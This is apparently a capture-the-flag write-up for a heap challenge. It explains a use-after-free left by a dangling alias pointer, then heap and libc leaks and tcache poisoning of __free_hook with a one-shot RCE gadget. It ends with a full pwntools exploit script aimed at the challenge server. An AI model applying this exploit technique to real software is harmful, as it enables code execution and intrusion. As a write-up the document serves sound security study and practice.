Let’s get right into it.
The binary maintains a structure that looks something like this :
struct user {
int idx;
int cash;
char name[48];
char *desc;
}
Every time a new object of this structure is created, it is added into a table.
Reversing the binary was a bit of a pain, since they had gone out of their way to make simple tasks as complicated as possible.
In order to copy data to the name
buffer, the binary used the xmm0
register to copy 16 bytes at a time. And in order to calculate the length of the input string, there was a complicated set of bitwise operations which I didn’t bother to go into. I found that it eventually calculated the length of the input and that was all I needed.
The binary does allow a functionality to create an alias for a user.
If an alias is set, then a pointer to this user
object is saved in another object which looks something like this.
struct alias {
user *user_obj;
char alias[16];
}
This object, if created, is then added into another table.
The vulnerability here lies in the fact that removing a user only removes the object from the table of users. The table of alias’s will still contain a pointer to the (removed) user object.
Choosing a user
object, for manipulation, can be done via either its index in the table of users or its alias.
In order to get leaks, all that is needed is to create such a UAF situation and then print out the contents of the object which will leak out the heap and the libc addresses.
Once we have the leaks, we can start with the actual exploit.
The binary uses the newer libc which contains the tcache
functionality. In order to make it clear to everyone ( and as a self note to myself), removing a chunk from the tcache
list does not check perform any checks. So, it possible to get a chunk allocated basically anywhere.
So, in order to exploit the UAF, all that is required is to overwrite the FD of a chunk in the tcache
with the address of the __free_hook
. The second allocation after this returns a pointer to the __free_hook
which we can overwrite with a one-shot-RCE gadget.
I did think about overwriting the __free_hook
with system
instead of an RCE gadget since that would be more reliable. But neither of the objects contain strings in the first 8 bytes.
Anyways, I’ve left out most of the low level details and issues I ran into while creating the exploit.
But the script does contain enough comments to fix that if anyone is interested in trying out the challenge.
from pwn import * prompt = ' > ' context.terminal = 'bash' HOST, PORT = '142.93.39.178', 2024 def create(name, desc, alias=''): p.sendlineafter(prompt, 'create '+alias) p.sendlineafter('Name: ', name) p.sendlineafter('Desc: ', desc) def update(name, desc, cash, alias='', idx=0): p.sendlineafter(prompt, 'update '+alias) if alias == '': p.sendlineafter('Index: ', str(idx)) p.sendlineafter('Name: ', name) p.sendlineafter('Desc: ', desc) p.sendlineafter('Cash: ', str(cash)) def remove(alias='', idx=0): p.sendlineafter(prompt, 'remove '+alias) if alias == '': p.sendlineafter('Index: ', str(idx)) def show(alias='', idx=0): p.sendlineafter(prompt, 'show '+alias) if alias == '': p.sendlineafter('Index: ', str(idx)) p.recvuntil(' Index: ') idx = int(p.recvline().strip()) p.recvuntil(' Name: ') name = p.recvline().strip() p.recvuntil(' Desc: ') desc = p.recvline().strip() p.recvuntil(' Cash: $') cash = int(p.recvline().strip()) return idx, cash, name, desc def award(cash, alias='', idx=0): p.sendlineafter(prompt, 'award '+alias) if alias == '': p.sendlineafter('Index: ', str(idx)) p.sendlineafter('Cash: ', str(cash)) if __name__ == '__main__': if sys.argv[1] == 'remote': p = remote(HOST, PORT) else: p = process('./hof', env={"LD_PRELOAD": './libc.so.6'}) libc = ELF('./libc.so.6') # Create 7 chunks which go into the tcache for x in xrange(7): create('x', 'y'*0x80, str(x)) # the object that will be the target of the UAF create('A', 'B'*0x80, 'test') # Just to prevent the previous chunk from being merged # with the top chunk create('C', 'D') # Populating the tcache for x in xrange(7): remove(idx=x) remove(idx=8) # UAF happens here remove(idx=7) # leak it all idx, cash, _, desc = show('test') heap = idx + (cash << 32) - 0x1970 libc.address = u64(desc.ljust(8, '\x00')) - 0x3ebca0 log.success("Leaked heap @ {}".format(hex(heap))) log.success("Leaked libc @ {}".format(hex(libc.address))) free_hook = libc.symbols['__free_hook'] gadget = libc.address + 0xe5858 log.success("Hook @ {}".format(hex(free_hook))) log.success("Gadget @ {}".format(hex(gadget))) # Now for the exploit # The object that will become the target of this UAF create('A', 'B', 'junk') # Just to populate the FD of the target chunk create('C', 'D') remove(idx=10) remove(idx=9) # Overwrite FD to __free_hook update('A', p64(free_hook)[:6], 999, alias='junk') # We screw up the FD when we update the chunk # Making sure that the next malloc doesn't segfault for x in xrange(cash/999-1): award(999, alias='junk') award(cash%999 , alias='junk') create('X', 'Q') # This is going to be our free_hook create('Z', p64(gadget), 'exploit') # Trigger the one shot RCE gadget remove('exploit') p.interactive()